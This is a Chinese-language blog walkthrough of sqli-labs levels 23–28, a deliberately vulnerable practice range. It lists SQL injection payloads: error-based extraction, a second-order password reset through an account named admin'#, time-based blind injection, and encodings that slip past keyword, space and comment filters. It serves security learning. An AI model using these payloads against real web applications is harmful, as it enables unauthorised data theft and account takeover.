SQL注入【sqli靶场第23-28关】(七)

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

0、总体思路

先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。

为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。

特殊字符说明

+表示空格
--表示注释

1、Less-23

GET - Error based - strip comments

1.1、判断是否存在SQL注入

正常响应长度

在这里插入图片描述

输入带单引号’,响 应长度有变化

在这里插入图片描述

1.2、报错函数

在测试过程中发现union 联合查询的方式一直报错,尝试报错函数成功爆出。

报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,根据报错函数获取到数据库名,登录名。

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1

# 输出内容
XPATH syntax error: '~security~'

# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1

# 输出内容
XPATH syntax error: '~root@localhost~'

2、Less-24

POST-Second order lnjections Real treat - stored lnjections

二次注入,先注册一个账号带有注释功能的,然后登录,再修改密码

2.1、注册带注释功能的账号

账号:admin'#
密码:123456

2.2、用新账号登录

用新账号登录成功
在这里插入图片描述

2.3、修改密码

修改目标密码为123,用账号:admin,密码:123登录验证是否成功。
在这里插入图片描述在这里插入图片描述在这里插入图片描述

3、Less-25

GET - Error based - All your OR & AND belong to us -string single quote

3.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

3.2、报错函数

在测试过程中发现union 联合查询的方式没有达到预期值,尝试报错函数成功爆出。

报错函数extractvalue(),updatexml()没有达到预期值,GTID_SUBSET()成功爆出。

# 输入内容
'-GTID_SUBSET(database(),1)-'

# 输出内容
Malformed GTID set specification 'security'.

# 输入内容
'-GTID_SUBSET(user(),1)-'

# 输出内容
Malformed GTID set specification 'root@localhost'.

在这里插入图片描述

4、Less-25a

GET - Blind Based - All your OR & AND belong to us- lntiger based

4.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响应长度有变化
在这里插入图片描述

4.2、借用BP爆破数据库

过滤 or and 关键字 采用重复的方式处理

oorr --> or
anandd --> and

4.2.1、使用时间盲注验证
# 输入内容
+anandd+if(1=1,sleep(1),sleep(5))--+

在这里插入图片描述

4.2.2、爆破数据库长度
# 输入内容
+anandd+if(length(database())=5,1,0)--+

在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Sniper,参数设置看截图说明。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.2.3、爆破数据库名
# 输入内容
+anandd+if(substr(database(),1,1)='a',1,0)--+

爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
在这里插入图片描述

5、Less-26

GET - Error based - All your SPACEs and COMMENTS belong to us

参考博客:https://blog.csdn.net/m0_71299382/article/details/127944148

5.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

5.2、关联查询

回显位在第2位

# 输入内容-数据库名
0'%0bunion%0bselect%0b1,database(),3||'1'='1

# 输入内容-登录名
0'%0bunion%0bselect%0b1,user(),3||'1'='1

在这里插入图片描述

6、Less-27

GET - Error Based-All your UNION & SELECT Belong to us - String - single quote

参考:https://blog.csdn.net/qq_73393033/article/details/132106554

6.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

6.2、报错函数

%26是&的URL编码

# 输入内容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1

# 输出内容
XPATH syntax error: '~security~root@localhost'

# 输入内容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1

# 输出内容
XPATH syntax error: '~security~'

在这里插入图片描述

7、Less-28

GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis

参考:https://blog.csdn.net/m0_57736664/article/details/128553406

7.1、判断是否存在SQL注入

正常响应长度
在这里插入图片描述

输入带单引号’,响 应长度有变化
在这里插入图片描述

7.2、确定回显字段

看源码参数闭合是'),尝试验证是不是4个字段,没有回显,修改为了3时回显了,因此可确定是3个字段

# 输入内容
')order%0Aby%0A4;%00

# 页面没有预期回显数据

# 修改为3
')order%0Aby%0A3;%00

在这里插入图片描述

7.3、关联查询

回显位在第2位

# 输入内容-数据库
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1

# 输入内容-登录名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1

在这里插入图片描述

8、下期内容预告

截止到目前SQL注入的内容已经分享了7篇,后面会有一篇关于ByPass(绕过)和总结的内容。敬请关注我的公众号:大象只为你,持续更新中…

  • 22
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值